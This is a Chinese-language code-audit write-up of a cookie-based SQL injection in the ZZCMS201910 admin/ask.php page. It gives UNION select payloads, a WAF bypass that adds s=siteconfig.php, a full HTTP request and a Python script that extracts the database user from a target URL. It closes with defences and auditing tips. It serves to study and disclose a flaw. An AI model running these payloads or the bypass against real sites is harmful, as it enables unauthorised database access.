ZZCMS201910代码审计
字数 1038 2025-08-24 23:51:21
ZZCMS201910 SQL注入漏洞分析与利用
一、漏洞概述
本文详细分析ZZCMS201910版本中存在的一个SQL注入漏洞,该漏洞位于admin/ask.php文件中,由于对$_COOKIE["askbigclassid"]参数过滤不严导致。攻击者可以通过精心构造的Cookie值实现SQL注入攻击,获取数据库敏感信息。
二、漏洞分析
1. 漏洞位置
漏洞存在于admin/ask.php文件中的SQL查询语句:
$sql = "select * from zzcms_askclass where parentid=".$_COOKIE["askbigclassid"]." order by xuhao asc";
2. 漏洞原理
该SQL语句直接将$_COOKIE["askbigclassid"]参数拼接到查询中,没有进行充分的过滤和验证,导致攻击者可以通过控制Cookie值注入恶意SQL语句。
3. 漏洞利用条件
- 访问
admin/ask.php?do=add页面 - 控制
askbigclassidCookie值 - 绕过系统自带的WAF防护
三、漏洞利用过程
1. 基本注入测试
构造恶意Cookie值:
askbigclassid=-1 union select 1,2,3,4,5,6,7,8,9,10,11
对应的SQL语句变为:
select * from zzcms_askclass where parentid=-1 union select 1,2,3,4,5,6,7,8,9,10,11 order by xuhao asc
2. 结果回显位置
查询结果会出现在<option></option>标签中,可以通过查看页面源代码找到回显点。
3. WAF绕过分析
系统在inc/stopsqlin.php中实现了WAF防护,关键代码如下:
if(checksqlin=="Yes") {
if(strpos($r_url,"siteconfig.php")==0 && strpos($r_url,"label")==0 && strpos($r_url,"template.php")==0) {
foreach ($_GET as $get_key=>$get_var){ stopsqlin($get_var);}
foreach ($_POST as $post_key=>$post_var){ stopsqlin($post_var); }
foreach ($_COOKIE as $cookie_key=>$cookie_var){ stopsqlin($cookie_var); }
foreach ($_REQUEST as $request_key=>$request_var){ stopsqlin($request_var); }
}
}
绕过方法:在URL中添加s=siteconfig.php参数,使strpos($r_url,"siteconfig.php")不为0,从而跳过WAF检查。
4. 完整利用Payload
GET /zzcms/admin/ask.php?do=add&s=siteconfig.php HTTP/1.1
Host: localhost
Cookie: askbigclassid=-1 union select database(),2,3,4,5,6,7,8,9,10,11
四、漏洞验证脚本
# -*- coding: utf-8 -*-
import requests
import re
from bs4 import BeautifulSoup
from colorama import init, Fore, Back, Style
init(autoreset=True)
print(Fore.RED + """
[[ ]] ]] ]] ]] ]] Author:GhostOneHack ]] [[
""")
geturl = input("请输入网址:")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36",
}
url = geturl + "/admin/ask.php?do=add&s=siteconfig.php"
cookie = {"askbigclassid": "-1 union select user(),2,3,4,5,6,7,8,9,10,11"}
try:
Geturl = requests.get(url=url, cookies=cookie, headers=headers)
soup = BeautifulSoup(Geturl.text, "lxml")
test = soup.find_all("option")[2]
test = str(test)
jiansuo = re.search(r"<option value=(.*)>3</option>", test).group(1)
if jiansuo == '\" root@localhost \"':
print("存在此sql注入漏洞")
except:
print("不存在此漏洞")
五、防御措施
- 参数化查询:使用预处理语句和参数化查询代替直接拼接SQL语句
- 严格输入验证:对所有用户输入进行严格的类型和格式验证
- 最小权限原则:数据库连接使用最小必要权限的账户
- 更新WAF规则:完善WAF的过滤规则,避免被绕过
- 代码审计:定期进行代码审计,发现潜在的安全问题
六、代码审计技巧总结
- 关注用户可控输入点:查找所有接收用户输入的地方(GET、POST、COOKIE等)
- 跟踪数据流:跟踪用户输入如何在系统中传递和使用
- 识别危险函数:注意直接执行SQL、系统命令、文件操作等危险函数
- 理解上下文:分析代码逻辑,理解漏洞触发的完整路径
- 逆向思维:从可能存在漏洞的地方回溯审计
- 绘制思维导图:帮助理清代码结构和数据流向
通过本次审计,我们不仅发现了一个具体的SQL注入漏洞,更重要的是学习了完整的代码审计方法和思路,这对于发现其他潜在漏洞具有重要意义。